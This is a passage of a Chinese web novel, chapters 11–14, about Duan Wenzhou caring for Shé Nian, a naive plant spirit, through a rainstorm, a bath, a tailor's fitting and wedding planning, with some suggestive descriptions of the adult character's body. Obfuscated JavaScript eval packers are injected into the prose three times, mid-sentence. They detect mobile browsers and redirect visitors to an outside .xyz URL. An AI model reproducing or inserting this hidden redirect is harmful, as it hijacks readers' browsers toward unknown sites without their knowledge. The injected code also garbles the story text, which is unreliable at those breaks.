难道是因为自己的一句在那里等着,所以他才一动不动地站着,哪怕下雨了也不肯走? 想到这,一丝内疚涌上了段闻洲的心头。 该说这小孩太执拗吗,还是说太笨? 怎么一点变通能力都没有,那么大的雨,就为了自己的一句话傻傻地淋雨,万一淋坏身体了可该怎么办。 自己刚刚还凶他,板着一张脸,他被淋得浑身湿透,反而还要承受自己的责怪,肯定很委屈吧。 此时段闻洲心底情绪格外复杂,眉头拧得更深,眼底既有自责,又有无奈和心疼,懊悔自己刚刚语气太过严厉。 而实际上,佘念其实一点也不委屈,只是觉得有些困惑。 ——为什么段闻洲的脸色肉眼可见愈发阴沉了,黑得跟外面的天空一样。 是自己说错话了吗?还是做错事了? 可是,一开始不就是约定要在路牌旁边见面的吗,自己也没走开呀。 虽然还是没想明白发生了什么,但看着段闻洲的脸色,佘念先发制人道歉,低下头来,抿着嘴对手指,小声地嗫嚅: “对不起呀……” 陡然听见他的道歉,段闻洲先是一怔,随即哭笑不得: “你跟我道什么歉?” “唔,因为……你看起来好像很生气?” 佘念试探着分析道。 “那你知道我为什么生气吗?” “不知道。” 他十分诚实地摇了摇头。 “我是气你刚刚淋雨不知道躲,也气我自己刚刚说话太凶。” 段闻洲无奈地笑着,探身从后方拿了一条干毛巾出来披到佘念的身上,并手动揉了揉替他擦干几分头发。 “抱歉,我刚刚不该语气那么严厉的。” “嗯?淋雨要躲的吗?” 触及到知识盲区,某根小蛇舌草愣住了,头顶着毛巾诧异地看来。 “难道不该躲吗?” 听见这话时段闻洲也愣了一下,因为他没想到还会有人这么反问的。 这小孩傻呆呆地在原地不动就算了,怎么在他的认知里,难道还不知道下雨是不需要躲起来的吗? “因为淋雨的话身体会着凉,然后你就会生病,导致感冒或者发烧,知道吗?人生病是会不舒服的,所以你要注意身体。” 知道他的脑回路和普通人不太一样,于是段闻洲十分耐心地给他解释起来。 啊,原来人类淋雨会生病的吗?我们植物只要不是致死量的洪涝,一般都是越淋雨越长得好的。 意识到差别后,佘念这才后知后觉反应过来自己刚刚人生气的真正原因。 “所以,要小心不要淋雨或者着凉,明白了吗?” 段闻洲再次叮嘱道。 “知道了。” 佘念连忙小鸡啄米点头应道,保证不再犯。 “把头发擦干净。” “好的!” 佘念立刻抬起手呼噜呼噜擦着自己湿得滴水的头发,随着他抬手的动作,段闻洲这才留意到此时人的身上。 ——雨水不仅打湿了他的头发,还浸透了身上的衣服,以至于湿透的白色上衣完全贴在了身体,仿佛变成了透明的一样,身体轮廓以及胸前两点在眼下清晰可见。 偏偏本人还没有意识到这件事,小狗甩毛一样大开大合地擦着头发,令胸前的风光显露得更明显。 就像被烫到了似的,段闻洲下意识撇开了视线,探身叮嘱前方的司机将空调温度再打高点,并脱下了自己的西装外套罩在佘念身上。 “别着凉了。” 说完,他扭头看向车窗外,视线没在人身上停留一秒。 “谢谢。” 披上的衣服带着人的体温,前方吹来的暖气也是热乎乎的,佘念舒服极了,拢紧外套,嘿嘿一笑感谢着。 “那我们现在是去定礼服吗?” “还定什么定,我跟那边说行程取消了,下次再带你过去。” 见他浑身湿透却还记着这事,段闻洲都有些好笑了,没忍住伸手戳了戳他的额头。 “那我们去哪呀?” 被戳但是不痛,佘念捂着额心,眨了眨眼困惑地问。 “先带你回家洗个热水澡换身衣服,不然你这幅样子肯定要着凉的。” 说着,段闻洲指挥着司机向着自己住的地方开去。 汽车来到市中心的一处大平层公寓,这里是平常段闻洲上班时住的地方,因为段家主宅离公司较远,这处大平层通勤更方便,所以平常工作日他通常都是住在这里的。 “走吧,我们下车。” 先从车上下来的段闻洲,绕到另一边替人打开车门。 佘念乖乖从车上跳下来,但没想到脚步一沉,险些没站稳,得亏被人扶住了。 ——人类吸了水以后怎么会变重这么多的啊! 刚刚坐在车上还没意识到,这会起身下车了才感觉到身上衣服的重量翻了好几倍,仿佛背了几块大石头一样。 “当心点。” 大概是看出来了他为什么摔跤,段闻洲眼底噙着笑意,只是扶住他,没有戳破。 “嗯嗯。” 佘念打起十二分的精神来,每走出一步就极其小心,可以说是全神贯注地进了电梯,再聚精会神地来到了大门口。 “进来吧。” 打开门,段闻洲把人迎了进去。 “我去帮你放热水泡个澡,稍微等我一下。” 给人拿了拖鞋后,他又去卫生间的浴缸给人放热水,而佘念则小尾巴一样乖乖地跟在他身后,站在玻璃门外等着。 “可以了,去洗吧,湿的衣服脱在旁边的脏衣篮里就行,浴巾在架子上,换洗的衣服我等会拿来帮你放在外面。” “好的,谢谢你!” 真是个好人呀,还带自己泡澡换衣服,佘念忍不住抱着他的隔壁蹭了蹭,等人出去后才弯着嘴角来到浴缸边。 其实他之前没有用过浴缸,因为他卧室的卫生间较小,只有淋浴不能泡澡。 他还没有直接脱掉湿衣服,而是先好奇地站在浴缸边盯着热水看了看,然后才试探性地伸出脚尖碰了碰水面。 正在衣帽间里给人翻找着能穿的衣物,段闻洲耳中忽然捕捉到一阵惊呼: “啊——” 是从浴室的方向传来的,他手中动作一顿,还以为佘念出了什么事,也顾不上找衣服了,立刻跑到浴室门外。 “佘念,你还好吗?出什么事了?” 他敲了敲玻璃门,担忧地问。 “这、这个水……” 玻璃门被从内打开一个小缝,佘念委屈巴巴地探出一个脑袋。 “水怎么了?” “水……好烫啊。” 脚都烫红了,佘念撅嘴,还特意伸出脚给他看。 白担心一趟的段闻洲哑然失笑,余光瞥见人身上还穿着衣服,便直接推开了门走进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707037|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他又往浴缸里加了点凉水,估摸着温度下去了几度后,才招呼人过来确认: “看看这个温度可以吗?” 佘念小步挪过来,伸出手指感受了一下现在的水温。 “可以了!不烫了!” 他激动地道,好像一个叽叽喳喳的小麻雀。 “那就行,你泡吧,要是过了一会温度变低了,在这里加热水就行。” 又教了他怎么放热水,确保没有了其他问题,段闻洲才准备重新走开。 “对了,你要不要也一起泡呀?” 刚刚好像他也淋到了一点雨的样子,肩膀处有一点湿,还记得淋雨会生病的佘念好心地邀请人一块泡澡。 这话对佘念来说是关心的询问,但落在段闻洲的耳朵里可就不是那么回事了。 ——这和盛情邀请有什么区别? 可偏偏说的那人也只是无心,根本没这层撩人的意思在里面。 知晓他根本没有危机意识,段闻洲颇为无奈地叹了口气,点了点他的脑袋: “这种话不能随便乱说,不管在谁的面前都不能随便说,记住了吗?” “噢、噢好吧。” 捂着脑袋,佘念似懂非懂地点头。 “那我出去了,你先泡澡。” 这里不是给人讲道理的好地方,于是段闻洲提醒了这一句后就合上了浴室门。 这时佘念才脱掉衣服跨进浴缸,整个人坐进去,泡在热水里,不由得发出一声满足的谓叹。 ——好舒服啊! 原来泡澡这么舒服,佘念在热水里昏昏欲睡,舒服得仿佛到了天堂。 之前一直只在山里淋过冷的雨水,在佘家洗澡也只是简单的淋浴,没有接触过这温泉一样暖和的一大盆水,现在这么一泡,才发现原来热水这么舒服。 佘念仰头靠在浴缸上,满足得眼睛都眯成了一条缝,在蒸腾的氤氲水汽里飘飘欲仙,整个人已经爽到意识迷离了。 他本来还是上半身露在水面外的姿势,不知不觉间就顺着光滑的浴缸表面向水下滑去,渐渐的身体全部泡在了水面下,到最后甚至只剩下鼻子以上的半张脸在外面了。 宛如一颗被热水逐渐融合的牛奶糖,和水面融为一体。 他昏昏欲睡,别说驱散寒意了,整个人都快被睡意包裹。 “换洗的衣服我帮你放在门口了。” 外面段闻洲敲了敲门,说道。 “知道啦,谢谢——” 听见里面的回答,段闻洲放下衣服就离开了,回到客厅打开笔记本电脑处理一些临时事务。 等到忙完助理发来的工作后,他抬头一看,这才发现居然已经过去了一小时。 奇怪,还没洗完出来吗? 他蹙了蹙眉,感到困惑起来。 “佘念,你洗好了吗?” 他又来到了浴室门外,叩着门对里面的人喊道。 意外的是,里面却没有人回答。 “能听到吗?” 段闻洲的眉头拧得更深,敲门和喊话的力道也都加大了点。 依然无人回应。 不会在里面泡久了昏过去了吧?也不是没有这种可能。 想到这,段闻洲不由得担心起来,心下一横,索性直接拧开浴室的门冲进去。 “佘念?” “啊——?怎么了!” 那声音似乎是如梦初醒,伴随着扑通水声,还带着点几分慌张和意外。 透过蒸腾的水汽,段闻洲与浴缸里的佘念大眼瞪小眼。 12. 第 12 章 “你怎么进来了?” 刚醒的佘念揉了揉眼睛,对段闻洲的到来感到奇怪。 “我刚刚叫你怎么不回答?” 悬起的一颗心放下,段闻洲无奈地长叹一口气,双手抱胸看着浴缸里的人。 “我……我刚刚一不小心睡着了。” 大概是也觉得泡澡泡睡着了不太好意思,佘念双手扒在浴缸的边缘,缩了缩脖子,只露出半张脸在浴缸外,眨着无辜的眼看向站在前方的人。 不知是水汽迷蒙的加持还是怎的,眼下的环境里,段闻洲竟觉得这小孩卖萌的眼睛比平常更有杀伤力。 于是他也不好说重话责备人了,只是好心地提醒着人: “以后泡澡不要泡太久,知道吗?” “啊,你不让我泡了吗?” 闻言,佘念支楞一下就完全清醒了。 “不是不让你泡,是泡久了容易在浴缸里晕倒,不安全。” 段闻洲解释道。 “你看刚刚我在门外喊你半天,你都没有回答我,所以我以为你晕倒了,才进来查看你的情况。” “对不起呀,我泡得太舒服,一不小心睡着了。” 知道错了的佘念低头乖乖认错。 “以后注意一下时间就好,你这次泡太久了,快穿上衣服出来吧。” “嗯嗯我知道了。” 提醒完了人这一切后,段闻洲刚想转身离开浴室,却只见眼前浴缸里的人哗地一下从水中站了起来。 雪白瘦弱的躯体一下子全部暴露在眼前,配合着狭小空间里的水汽,营造出一种欲遮还羞的朦胧感。 虽然本人是无意,但架不住时机与环境刚刚好。 从段闻洲的视角看去,佘念整个人如同荷花一样出水而立,水珠沿着身体滑落,留下晶莹水痕,平坦的小腹和纤细得不像话的腰肢暴露在视线中,在水雾的遮掩下若隐若现。 苍白的皮肤和瘦弱的身体,带着少年人特有的曲线,但又很明显能看出营养不良,有的地方太过瘦小,似乎自己单手就能将他的大腿根一圈握住。 偏偏佘念对自己现在的模样完全不知觉,嘴里一边嘟囔着找浴巾,一边转过身去浴缸前方的架子上取毛巾擦身体。 这一扭身,光洁的后背以及两团圆润彻底暴露在了段闻洲的视线里。 他一愣,立刻受惊一样偏过头避开。 这小孩,也太不见外了,真的完全没有一点危机意识。 轻咳两声缓解尴尬,段闻洲留下一句话后就匆匆离开了浴室: “咳,那你先换衣服,我就出去了。” “啊?好的。” 披上浴巾的佘念闻言回头,但只瞧见了人的背影,以及被带上的门。 “……对,麻烦你带裁缝来一趟我家里,雨太大暂时不方便过去……” 段闻洲在客厅跟助理打完一个电话后,佘念才穿上衣服出来。 “你的衣服好大呀。” 他踩着一双拖鞋,哒哒哒地来到客厅,一边走一边不停地向上扯袖子。 他身上临时穿着的,是段闻洲的一套白色休闲长袖和黑色运动裤,因为洗完缩了水变小所以一直没再穿,没想到即使是这样穿着也有些大。 衣服松松垮垮地挂在身上,衣领大到露出了大半肩膀在外面,随便一拉好像就能变成露肩装,袖子也长了很多,水袖一样遮住了整个手背,只有手指留在外面。 裤子更是成了堆堆裤,脚踝处累了好几层的褶皱,脚后跟被遮得严严实实。 全身上下仿佛穿出了男友衬衫的效果。 段闻洲身高近188,常年健身,而佘念只有173,身材瘦小,两人的体型差确实不小,有着肌肉的段闻洲实际上能单手把人抱起。 “抱歉,这是我衣柜里最小的了。” 看着他的样子,段闻洲哑然失笑,上前给人挽了挽衣袖和裤腿。 “先将就穿一下吧,等会你的衣服烘干了就换回去。” “好。” 佘念乖乖点头,然后又低头嗅了嗅身上的衣服。 “你衣服上的味道,和你身上的一样诶。” 说完,他又凑到段闻洲的脖子处闻了闻,确定都有一股相同好闻的气味。 突然间凑这么近,鼻息喷在脖颈处搔得痒痒的,嘴里说的话还如此有暗示意味,可偏偏这么做的人又是个本性单纯无知的小孩。 而在这一弯腰的动作下,若是低头一瞧,便能发现佘念身上松松垮垮的衣服更大了,衣领大敞,胸前风光尽数乍泄,一览无遗。 耳尖一红,段闻洲只觉得自己的太阳穴在突突直跳,无奈地拎起佘念的后领向后拉,分开两人间的距离。 “佘念,这种动作以后不要随便对别人做,知道吗?” 他叮嘱道。 “啊……嗯我都记住了,在浴缸里不能泡太久一样,也不能凑近闻别人。” 虽然不知道为什么,但是佘念已经熟练地背书一样重复道。 不对,这事似乎也不叫闻别人,算了,如果要全部解释起来的话好像很麻烦,就先让他这么记住好了。 段闻洲好笑地摇了摇头,不再继续这个话题,走到吧台边给人拿了一杯刚烧好的热茶: “来,喝杯茶暖暖身体。” “好哦。” 捧起茶杯抿了一口,但立刻被冒着热气的茶烫到,佘念只喝了一小口就连忙刹住,吐着舌尖散热。 “好烫!” “慢点喝,边吹边喝或者晾一会。” 看着他张嘴吐舌的样子,段闻洲没忍住弯了弯眉眼。 盛的茶水实在是太烫,但透过杯身传来的热度又实在暖和,佘念便干脆捧着茶杯不放,一边等晾凉一边打量这处房子。 “这是你家吗?” 他问道。 “对,平常为了方便上班我就会住这里。” “哇你家好大啊,我好喜欢你这里,比我住的地方宽敞好多,也亮堂好多。” “你住的地方,很小吗?” 闻言段闻洲不太理解,因为佘家的主宅可比自己这处房子大多了。 “是呀,我住的地方没有你空间这么大的,就这么一点点大,而且其实还挺黑,很多时候见不到光。” 基本上在泥土里时周围全是黑漆漆的,只有在破土而出后才能见到太阳,而且根系不能随便扩张,不然就会抢占别人的地盘。 ——佘念压根就没把佘家那个房间当做自己的家,所说的全是自己植物时的经历。 但段闻洲却误会成了说的是他在佘家的事,以为佘家的人只让人住在杂物间或者地下室那种地方。 于是乎他眉头拧得更深,对佘家的厌恶又深了几分。 “你要是喜欢的话,等以后我们正式住在一起了就搬过来,或者你有其他喜欢的地段,我们也可以再买一套新的房子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707038|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段闻洲怜爱地摸了摸佘念的脑袋,如同慈祥的长辈一样满眼怜惜。 “好呀好呀!” 丝毫不知道他的脑海内想了那么多,单纯的佘念只听见了搬进来这几个字,忙不迭地点头。 ——结婚了才能搬进来,真是越来越期待结婚了。 门铃忽然被按响,可视电话上浮现出助理的影像,他和裁缝都到楼下了。 “您好,不好意思今天麻烦您亲自跑一趟。” 段闻洲将人迎进屋内,歉意地同人握了握手,解释今天是因为佘念淋了雨才不得不改变行程安排。 “没关系,淋了雨是该注意身体,小心感冒。” 裁缝是一个五十多岁的男人,还留着小胡须,面容看上去十分和蔼可亲。 他探头看了一眼后方的佘念,猜测这位就是今天另外一位男主角了。 “你好。” 手里还捧着杯子没放下,佘念十分乖巧地抬起一只手跟人打招呼。 “佘念,这位是帮我们定做礼服的裁缝师傅。” 段闻洲为其介绍道。 本来他们今天应该是上门去店里找人定制礼服的,由于突发状况,眼下便只能麻烦人家裁缝上门一趟了。 “那我先帮两位量一下尺寸。” 裁缝拿出卷尺,给段闻洲量完各项身体数据后,便轮到了佘念。 佘念一口气喝下茶杯里已经变温的茶水,放下杯子小跑来到裁缝师面前,学着方才段闻洲的样子抬起手臂。 让挺背就挺背,让吸腹就吸腹,可以说是十分地听话,裁缝师乐呵呵地替他丈量着,对眼前这乖孩子不由得心生好感。 “咦,这数据……” 在记录下佘念全身的数据后,裁缝师却皱了皱眉。 “怎么了?” 段闻洲好奇地凑过来。 “段先生,这孩子……他成年了吗?” 裁缝师顿了顿,犹豫地开口问。 这问题倒把段闻洲给问怔了,一时间没反应过来他怎么会这么问。 “成年了的,他今年刚好二十二岁。” 记得之前让人调查的关于佘念的资料上写过年龄,刚好比自己小七岁。 “您看他这些数据,也太瘦小了,这骨架大小和腰围肩宽,我差点都以为这是个未成年的小孩子呢。” 裁缝师摇了摇头。 应该是营养不良引起的,按理来说这个年纪的男孩不会这么瘦弱的,段闻洲敛眸,觉得自己以后得想办法好好给人补一补才行了。 自己平常叫人小孩子,只是因为年纪差距而已,可不希望他真的因为营养不良而发育得像小孩子。 量完身体数据后,接下来便要初步确定一下西装款式,裁缝师掏出携带的册子,翻开让两人挑选: “您二位看西装想要什么颜色的?是同色系还是黑白类的对撞色?” 段闻洲倒觉得只要自己的是深色系都行,便抬头看向佘念: “你喜欢什么颜色的西装?” “什么意思都可以吗?” “嗯,只要你喜欢的,都可以让师傅去找布料定做。” 闻言,佘念两眼冒光,兴奋地道: “我喜欢绿色,那我想要翠绿的!” 裁缝师和段闻洲,乃至一旁的助理:…? 自己是不是出现幻听了。 他刚刚是说,翠绿色的西装吗? 13. 第 13 章 想象了一下翠绿色西装的上身效果,一时间,空气陷入了诡异的寂静。 几人你看看我,我看看你,谁都没有率先开口接话。 绕是见多识广,见过很多客户刁钻需求的裁缝师,也露出难以置信的表情。 ——因为这绝对是他职业生涯里听到过最奇葩的要求。 而丝毫不知自己刚才的发言有多开天辟地的佘念,还在一脸期待地看向裁缝师。 “你是说,绿色,吗?” 被这么一双亮晶晶的眼睛注视着,裁缝师忽然觉得压力山大,嘴角抽了抽。 “可以吗?就叶子那种翠绿就好,或者嫩绿也可以。” 佘念凑近了几分,一双大眼睛放闪的威力变得更巨大。 绿色多好看呀!又鲜嫩又象征着生命力,简直是最棒最喜欢的色调了。 一旁的助理差点要直接笑出来,出于职业素养才没有笑出声,肩膀不停抽动着,最后直接躲到角落里去憋笑了。 而段闻洲也既无奈又好笑。 “佘念,一般西装是不做这种颜色的。” 他抬手将佘念按回沙发上坐下。 “你要是喜欢绿色的话,我们可以买一些别的绿色的东西。” “噢,好吧。” 原来不能做啊,佘念失望地点点头,回到沙发上坐下。 鉴于他的提议过于惊世骇俗,所以在接下来的商议过程中,裁缝师和段闻洲两人都没再敢让他参与。 段闻洲塞了个沙发上的抱枕给人,让他抱着去看电视打发时间。 经过一个小时的商讨,最终确定下来了婚礼上西装的各种版型细节。 助理送裁缝师离开,屋子里便再次只剩下了段闻洲和佘念二人。 窗外的雨又下大了,衣服也还没有完全烘干,眼下来看佘念可能暂时还走不了。 时间已经到午饭点了,见佘念说有一点饿了,段闻洲便联系了一家市中心的五星级酒楼,让他们送餐过来。 高级酒楼对待vip客人就是服务好,很快就将预定的餐食送上了门。 “来,吃饭了。” 段闻洲故意多点了两个菜,想着多投喂一下这位瘦弱的小孩子,好多长点肉。 “好香!” 闻到香味,佘念连怀里的抱枕都没放下,就这么搂着枕头跑到了餐厅。 这个好吃,那个也好吃,全都好好吃。 佘念吃的一本满足,碗里也被段闻洲所投喂的菜堆出了一座小山。 “合胃口吗?” 嘴角噙着笑意,段闻洲慢悠悠地吃了一口饭菜,眼睛一直盯着某个接连不断吃东西的小仓鼠。 “嗯嗯。” 佘念含糊地回答,嘴里说着不甚清晰的话,忙着扒饭,同时还辅以小鸡啄米点头。 就在他吃得正起劲时,天空忽然有一处闪电划过,紧接着伴随着轰隆雷鸣。 客厅的阳台是一百八十度全景落地窗,那道闪电撕开乌云,发出的刺眼亮光仿佛就在眼前闪过,落于近在咫尺之处,巨大的雷声在耳边炸开,震耳欲聋。 又打雷了,段闻洲收回看向外面的目光,正想同佘念说话,可视线刚一转来,却只见刚刚佘念坐的位置上,已经空荡荡没有人了。 筷子还凌乱地掉在桌面上,看上去是被主人匆忙间落下的。 奇怪?人呢,刚刚不是还在这里坐着的吗? “佘念?” 不解的段闻洲起身查看,意外地在桌子底下发现了某个躲起来的身影。 只见佘念抱头蹲在桌子下面,紧紧缩成一团,整个人瑟瑟发抖,似乎是被刚才的闪电吓到了。 “你还好吗?很害怕吗?” 见状,段闻洲蹲下身来。 因为那一道闪电让佘念回想起了当初遭遇的天雷一劫,那种濒临死亡的痛苦令他至今都无法忘记。 如今再次看到雷电,身体便本能性地恐惧起来,下意识躲了起来。 吓得连那最爱的半个虾球都没吃完,就那么藏了起来。 “有、有一点怕,雷会劈在我身上……” 熟悉的声音在耳畔响起,佘念颤颤地抬起头,向段闻洲所在的方向看来,语气里的委屈浓得抹不开,连眼眶都变湿润了。 被天雷劈到的痛苦,他这辈子都不想再感受第二次。 “别怕,雷电是不会落到屋内的,它们在天上进不来。” 原来怕打雷吗,段闻洲低声耐心地安慰着人。 “真、真的吗?” 半信半疑,佘念睁着快哭的眼睛看来,声音还是颤的。 一向有光亮的眼睛,此时却满是恐惧,叫段闻洲看了都止不住心疼。 “来,把手交给我。” 循循善诱着,他对人伸出了手,鼓励道。 “嗯……” 见状,佘念犹豫了片刻,但足够的信任战胜了迟疑,最终还是小心地把手搭在人的手心里。 温热有力的大掌包裹住自己,传递来的体温带着安抚的力量,轻柔地拂去了内心的不安。 没来由的,佘念忽然觉得嘭嘭直跳的心冷静下来了不少。 “别害怕,有我在。” 低沉嗓音钻入耳中,驱散了不安。 捏了捏人的手,段闻洲牵着他从桌底下钻出来,然后走到落地窗边把窗帘严严实实地拉上,一点缝隙没留。 遮住了画面以外,他又打开了唱片机,欢快温柔的轻音乐流淌出来,稀释了雷电带来的炸裂声。 “这样好一点了吗?” 他问道。 “嗯,没那么怕了。” 吓人的闪电被窗帘和音乐隔绝在外,恐惧感消散了不少,佘念不好意思地点了点头,但还是紧抓住人的手不放。 “那就继续吃饭吧。” 见状,段闻洲也没有抽出手,而是任由人拉着,并且回握住。 有着人的陪伴,又能感受到掌心的温度,佘念真的不怕了。 屋内洋溢着一片无声的和谐,平静又温馨,而屋外的雨渐渐小了,似乎渐渐有停下的趋势。 本来还在思考如果大雨彻夜不停,是否要让佘念留下住宿的,而眼下已经没有考虑这个的必要了。 段闻洲从烘干机里取出衣服,原本湿透的衣服此时已经完全干透。佘念脱下宽大两码的衣服重新换回自己的,午饭过后稍作休息,便要趁着雨停回去了。 考虑到他没有车,这次段闻洲便亲自开车将人送回了佘家主宅。 “谢谢你送我回来。” 下车后,佘念趴在窗边,依依不舍地同人挥手告别。 “进去吧,等过段时间衣服做好了我再带你过去试穿。” 段闻洲点头,示意他赶快进屋。 楼上露台的佘毅峰将段闻洲送人回来的情形看在眼里,极其满意。 ——他自以为佘念在听话地讨好着人,所以人家才会亲自将其送回来,殊不知其的胳膊肘早已拐到了大西洋。 “嘁,搭上段家有什么了不起的,哪里比得上赵家。” 佘群逸见了,不屑地嗤了一声。 ——最近他成功和赵家的小姐亲近起来,前两天还约人出去看了电影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707039|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是以变得飘飘然觉得自己很快就能搭上赵家了。 不过实际上来看,段家经济实力更强,可以说是整个A市经济顶梁柱一样的老牌存在,赵家黑白两道通吃,集团实力上比不过段家,但是在暗地里的势力不差,两家不相上下。 “段闻洲大概也比不上赵大公子吧——” 佘群逸说着话时,佘念正好走了进来,他皱眉不悦地问: “你在说段闻洲的坏话吗?” “是又怎样?我才看不上段家,别以为你现在和段闻洲变亲密了就能踩我头上。” 佘群逸双手抱胸,扬起下巴跋扈地道。 明明段闻洲就是个很好的人,一听到他嘴里贬低人的话,佘念就觉得很不快。 想揍他。 嗯?等会,我好像是个傻子来着,我揍他应该不担责? 想到这,佘念余光瞥见旁边的木头椅子,心生一计。 “你敢不敢再说一遍?” 他抬头看向佘群逸。 “我还怕你吗?说就说,段闻洲算什么,压根比不上赵家。” 闻言,佘念拧起眉头,一把将木椅扛过了脑袋,作势就要追上去砸人。 “我看你才是比不上段闻洲一根手指头!我不许你说他的坏话!” “我靠你是不是疯了??你他妈要拿那东西砸我?” 没料到佘念敢动手,而且看这架势是准备动真格,佘群逸吓得掉头就跑,那还有半点刚才嚣张的样子。 他俩一个逃,一个追,佘念抡起椅子就往佘群逸身上甩,砸到了他的背和腿,疼得他嗷嗷直叫,但偏偏又不敢回头还手,怕佘念下手更狠。 楼上的佘毅峰看着一片狼藉的客厅,太阳穴突突直跳,满脸黑线。 他就想不明白了,佘群逸干嘛非得嘴贱去招惹那傻子。 这下好了,反倒被人家追着揍。 ———— 虽然西服是纯手工定做的,但段家作为老主顾,裁缝师自动为其加急,没过多久就将西服做好了。 于是段闻洲约上佘念去店里试衣,看看成品是否还有要修改调整的地方。 这一次他是亲自到佘家去接的人了,还碰上了佘毅峰,以晚辈的姿态同人打了个招呼。 佘毅峰倒是表现得很热情,一副热烈欢迎的样子,不知道的还以为他是真心的呢。 “小段来了啊,又是来接小念出去的吗?” 他乐呵地假笑着。 “是的,佘叔叔,我来接他去试刚做好的礼服。” 段闻洲礼貌回答。 “这样子,看来你们相处得很融洽我就放心了,小念他也很喜欢你。” 能不喜欢吗,喜欢到昨天听见他弟说你坏话,扛着椅子追着他弟揍。 听着这带有试探和暗示的话,段闻洲礼貌地笑了笑,避而不答。 接上佘念以后,汽车向着裁缝店的方向开去。 “婚礼策划那边把方案发过来了,你看看有没有喜欢的设计?” 这件事本来段闻洲想直接拿主意的,可一想到那天定做衣服时佘念似乎也是有自己的偏好,于是他还是决定询问一下人。 佘念接过册子翻阅着不同的效果图,段闻洲在心里猜测他会选哪一个。 果然,佘念在某一页停下了。 “这个吧。” 他说道。 闻言,段闻洲凑近一看,发现果然,他选的和自己想象中的一模一样。 这小孩大概都没仔细看,直接按喜欢的颜色选的。 因为他选的,是色调最绿的那个方案。 14. 第 14 章 从佘念的角度看,他确实不太懂这些不同的方案有什么区别,随手翻了翻后发现这个方案的布景似乎有很多植物,鲜花和绿叶,绿油油的就好像自己从前待的山林里一样。 所以他就直接选择这个了。 他所选的那个方案,设计理念确实是以森林为原型,通过新鲜的植物布景,来营造出梦幻的林中童话风格。 虽然设计思路如此精细,但佘念所在意的只有两点:一是绿色管够,二是像他老家。 多么朴实的理由。 段闻洲其实也猜到既然这小孩这么喜欢绿色的话,会不会选择这个方案,事实证明他没猜错。 既然这样的话,如果到时候天气不好,安排的室内婚礼就按他选的这个方案来,而如果天气好选择了室外婚礼的话,就准备草坪婚礼好了。 不管哪个都很绿,虽然似乎有那么一点点不太好的寓意在里面,但只要人喜欢就行。 “好,那到时候我让他们再细化一下这个策划案。” 没忍住勾了勾唇,段闻洲收起了册子。 汽车在一处不起眼的小店前停下,这处店铺连店名都没有,只有一块黑色的牌匾挂在店头,还藏在拐角处,若是不仔细看的话,很难找到这家店的位置。 但偏偏就是这样一个低调的店铺,却是整个A市最有名的手工裁缝店。 “段总,您来取衣服了吗?” 上一次见过的裁缝师就在店里,他笑眯眯地把两人迎进来,拿出制作完毕的两套西装。 “来试试看成衣有没有哪里不合适的。” 两套西装分别是一黑一白的,用料高端,裁剪技艺高超,一拿到手就能感觉到衣服沉甸甸的重量。 很明显白色的那套是佘念的,段闻洲把其拿到佘念怀里,让他先去试穿。 头一次穿这么复杂的衣服,佘念在试衣间里就跟打仗一样兵荒马乱地,费了好大劲才终于摩挲着换上了西服。 只不过他不会打领带,只好脖子上挂着松垮皱巴的领带布走出来了。 “不会打领带?” 段闻洲挑眉,主动上前替人系领带,随着手指的翻飞,一个漂亮的温莎结形成。 “不会……诶,你打太快啦,我还是没学会。” 当他帮自己时,佘念的眼睛一直盯着人手上的动作,试图记住怎么打。 只可惜太复杂了,手指灵活地绕来绕去,看了一遍后完全没记住,到最后只记得人手背上凸起的青筋了。 ——绿色的青筋浮于手背上,一路向手腕处延伸,最终没于佩戴的腕表之下,充满着成熟男性的魅力和吸引力。 手真好看,戴的表也很衬他。 佘念的睫毛扇了扇,没忍住在心底想。 “没关系,以后有机会慢慢学,我可以一步一步教你。” 弄好领带后又顺便给人理了理不太平整的衣领,段闻洲弯了弯嘴角。 “有觉得哪里不合身吗?” “没有,很合适。” 佘念抬了抬手,又转了个身,表示西装的尺寸非常合适,一厘米也不短,一厘米也不长。 都说人靠衣装,佘念平常很少穿这类型衣服,大部分时候都是最基础款的长袖和黑裤,没有什么穿搭可言,如今这套白色的西装穿在了他身上,就连气质都有了变化。 西装衬托着佘念本就笔直纤细的腿更显修长,点缀的金线染上华贵,一袭白色往那一站,不知道的还以为画中小王子跳出来了。 这样的风格转变没有丝毫小孩偷穿大人衣服的违和感,更像是青春洋溢的学生成长了,在青涩和稳重中寻找到了平衡感,既不过于成熟,也不过分幼稚。 这时段闻洲才注意到,佘念的底子不错,好好打扮一番的话不会差,或许以后照顾他时可以多帮他打扮打扮。 “头发是不是稍微有点长了?” 